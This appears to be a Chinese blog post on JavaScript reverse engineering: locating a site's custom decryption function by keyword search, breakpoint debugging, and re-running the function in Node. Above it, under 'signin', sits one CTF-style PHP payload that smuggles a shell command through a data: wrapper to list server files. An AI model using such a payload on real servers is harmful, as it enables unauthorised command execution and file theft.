signin
1 | data:,<?=`nl %252F*`; |
渗透测试
这里学一下js逆向
在网页中找到对应的接口,分静态和动态
无混淆加密的定位方法:关键字搜索。
-
通过关键字搜索定位加密位置或解密位置
-
关键字需要具有独特性,不能是username或password这类通用英文单词
-
关键字特征:没有加解密能力(atob等);
-
1
2
3
4
5// 1. 关键字独特:INTRACT_data(不是通用词,是网站自定义的变量名)
// 2. 关键字本身无解密能力:只是存了密文,自己不会解密
let INTRACT_data = "98765abcde12345xyz"; // 密文,纯字符串,自己啥也干不了
// 3. 外部有非内置/非类属的自定义解密函数包裹:kc()是网站自己写的解密方法(非浏览器自带)
let plainText = kc(INTRACT_data); // kc()是网站自定义的解密函数,包裹了关键字完整例子
1
2
3
4
5
6
7
8
9
10// 独特关键字:goods_price_encrypt(网站自定义,非通用)
let goods_price_encrypt = "897sdf987sdf987"; // 密文,无解密能力
// 自定义解密函数:decode_price(非内置、非类属)
let real_price = decode_price(goods_price_encrypt); // 函数包裹关键字
// 网站自己写的解密函数(核心)
function decode_price(str) {
// 自定义解密逻辑:比如先反转字符串,再转数字
return Number(str.split("").reverse().join("")) / 100;
}
搜出来的关键字排除.xxx的内容
1 | // 无效格式(只是引用):INTRACT_data.content 只是取属性 |
直接看概念看不懂,举个完整例子模拟流程
1 | // 代码片段1:无效格式(关键字+.xxx,仅引用) |
然后进行断点调试
-
定位到
let realStock = decodeStock(rawStock);这行代码,点击行号打断点(断点会显示为蓝色箭头); -
刷新网页,浏览器会暂停在这个断点处(代码执行到这里会停);
-
查看变量值:
-
rawStock的值是897s987f897g897h(即stock_encrypt的密文); -
按「Step into」(F11)进入
1
decodeStock
函数内部,一步步执行:
- 异或运算后,
result先得到字符串"5000"; - 最后
return Number(result)转成数字5000;
- 异或运算后,
- 控制台验证:
在控制台输入 decodeStock("897s987f897g897h"),回车后返回 5000 → 确认 decodeStock 就是解密函数。
然后扣代码验证
- 把
decodeStock函数完整拷贝到本地新建的decrypt.js文件中;(如果有代码套代码的话需要一步一步调试) - 在文件中添加测试代码,模拟解密:
1 | // 拷贝的核心解密函数 |
-
运行验证:
在终端执行
1
node decrypt.js
,输出
1
明文库存数:5000
→ 解密成功,完成 JS 逆向。
如有错误,多多指教